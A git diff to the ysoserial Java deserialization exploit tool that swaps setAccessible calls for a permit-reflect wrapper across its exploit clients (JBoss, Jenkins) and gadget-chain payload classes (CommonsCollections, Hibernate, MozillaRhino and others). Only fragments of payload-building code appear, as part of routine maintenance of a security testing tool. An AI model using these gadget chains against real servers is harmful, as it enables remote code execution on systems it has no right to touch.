diff --git a/pom.xml b/pom.xml index 15278be..73d39c4 100644 --- a/pom.xml +++ b/pom.xml @@ -121,6 +121,11 @@ javassist 3.19.0-GA + + com.nqzero + permit-reflect + 0.3 + commons-codec commons-codec diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index ca9a8c1..8f05fd7 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -64,6 +64,7 @@ import org.xnio.ssl.JsseXnioSsl; import org.xnio.ssl.XnioSsl; import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; /** @@ -272,7 +273,7 @@ public class JBoss { VersionedConnection vc; Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); - vcCreate.setAccessible(true); + Reflections.setAccessible(vcCreate); vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); return vc; } diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java index cdbd4a4..d0587f3 100644 --- a/src/main/java/ysoserial/exploit/JenkinsCLI.java +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -24,6 +24,7 @@ import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; /** * Jenkins CLI client @@ -73,7 +74,7 @@ public class JenkinsCLI { throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); - reqCons.setAccessible(true); + Reflections.setAccessible(reqCons); Object getJarLoader = reqCons .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { prop diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index 64c2adb..1372883 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -117,7 +117,7 @@ public class JenkinsListener { private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); - reqCons.setAccessible(true); + Reflections.setAccessible(reqCons); return reqCons .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { uro, diff --git a/src/main/java/ysoserial/payloads/CommonsCollections5.java b/src/main/java/ysoserial/payloads/CommonsCollections5.java index 652a413..d765160 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections5.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections5.java @@ -81,7 +81,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload< BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); + Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain diff --git a/src/main/java/ysoserial/payloads/CommonsCollections6.java b/src/main/java/ysoserial/payloads/CommonsCollections6.java index 1412d2b..dcc3ed6 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections6.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections6.java @@ -9,6 +9,7 @@ import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Field; @@ -70,7 +71,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload< f = HashSet.class.getDeclaredField("backingMap"); } - f.setAccessible(true); + Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; @@ -80,8 +81,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload< f2 = HashMap.class.getDeclaredField("elementData"); } - - f2.setAccessible(true); + Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; @@ -96,7 +96,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload< keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } - keyField.setAccessible(true); + Reflections.setAccessible(keyField); keyField.set(node, entry); return map; diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index 61e6179..0c64414 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -78,7 +78,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { Class getterIf = Class.forName("org.hibernate.property.Getter"); Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); - bgCon.setAccessible(true); + Reflections.setAccessible(bgCon); if ( !method.startsWith("get") ) { throw new IllegalArgumentException("Hibernate4 can only call getters"); diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java index 9f1e294..886f558 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors1.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -20,6 +20,7 @@ import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; import java.lang.reflect.Constructor; import java.util.*; @@ -50,7 +51,7 @@ public class JBossInterceptors1 implements ObjectPayload { s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); - defaultMethodMetadataConstructor.setAccessible(true); + Reflections.setAccessible(defaultMethodMetadataConstructor); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index 3b08e61..a36e69e 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -20,6 +20,7 @@ import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; import java.lang.reflect.Constructor; import java.util.*; @@ -50,7 +51,7 @@ public class JavassistWeld1 implements ObjectPayload { s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); - defaultMethodMetadataConstructor.setAccessible(true); + Reflections.setAccessible(defaultMethodMetadataConstructor); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); diff --git a/src/main/java/ysoserial/payloads/MozillaRhino1.java b/src/main/java/ysoserial/payloads/MozillaRhino1.java index ea00e64..b0cddff 100644 --- a/src/main/java/ysoserial/payloads/MozillaRhino1.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino1.java @@ -8,6 +8,7 @@ import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; @@ -27,7 +28,7 @@ public class MozillaRhino1 implements ObjectPayload { Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); - nativeErrorConstructor.setAccessible(true); + Reflections.setAccessible(nativeErrorConstructor); IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); Context context = Context.enter(); @@ -43,14 +44,14 @@ public class MozillaRhino1 implements ObjectPayload { idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); - getSlot.setAccessible(true); + Reflections.setAccessible(getSlot); Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); Field getter = slot.getClass().getDeclaredField("getter"); - getter.setAccessible(true); + Reflections.setAccessible(getter); Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); - memberboxClassConstructor.setAccessible(true); + Reflections.setAccessible(memberboxClassConstructor); Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); getter.set(slot, memberboxes); @@ -59,7 +60,7 @@ public class MozillaRhino1 implements ObjectPayload { BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); - valField.setAccessible(true); + Reflections.setAccessible(valField); valField.set(badAttributeValueExpException, idScriptableObject); return badAttributeValueExpException; diff --git a/src/main/java/ysoserial/payloads/MozillaRhino2.java b/src/main/java/ysoserial/payloads/MozillaRhino2.java index ed7817a..4ba1366 100644 --- a/src/main/java/ysoserial/payloads/MozillaRhino2.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino2.java @@ -65,7 +65,7 @@ public class MozillaRhino2 implements ObjectPayload { ScriptableObject initContextScriptableObject = new Environment(); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); - makeSlot.setAccessible(true); + Reflections.setAccessible(makeSlot); Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4); Reflections.setFieldValue(slot, "getter", initContextMemberBox); diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 851adb4..9792beb 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -12,6 +12,7 @@ import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; +import com.nqzero.permit.Permit; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; @@ -148,7 +149,7 @@ public class Gadgets { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); - nodeCons.setAccessible(true); + Reflections.setAccessible(nodeCons); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java index 276209d..a622d49 100644 --- a/src/main/java/ysoserial/payloads/util/Reflections.java +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -1,19 +1,27 @@ package ysoserial.payloads.util; +import java.lang.reflect.AccessibleObject; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import sun.reflect.ReflectionFactory; +import com.nqzero.permit.Permit; + @SuppressWarnings ( "restriction" ) public class Reflections { + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + public static Field getField(final Class clazz, final String fieldName) { Field field = null; - try { - field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) @@ -34,7 +42,7 @@ public class Reflections { public static Constructor getFirstCtor(final String name) throws Exception { final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; - ctor.setAccessible(true); + setAccessible(ctor); return ctor; } @@ -51,9 +59,9 @@ public class Reflections { public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); - objCons.setAccessible(true); + setAccessible(objCons); Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); - sc.setAccessible(true); + setAccessible(sc); return (T)sc.newInstance(consArgs); } diff --git a/src/test/java/ysoserial/test/payloads/MyfacesTest.java b/src/test/java/ysoserial/test/payloads/MyfacesTest.java index 4d439d7..db321e4 100644 --- a/src/test/java/ysoserial/test/payloads/MyfacesTest.java +++ b/src/test/java/ysoserial/test/payloads/MyfacesTest.java @@ -23,6 +23,7 @@ import org.mockito.Mockito; import org.mockito.invocation.InvocationOnMock; import org.mockito.stubbing.Answer; +import ysoserial.payloads.util.Reflections; import ysoserial.test.CustomDeserializer; import ysoserial.Deserializer; @@ -142,7 +143,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria @Override public Object call () throws Exception { java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); - setFC.setAccessible(true); + Reflections.setAccessible(setFC); ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); FacesContext ctx = createMockFacesContext();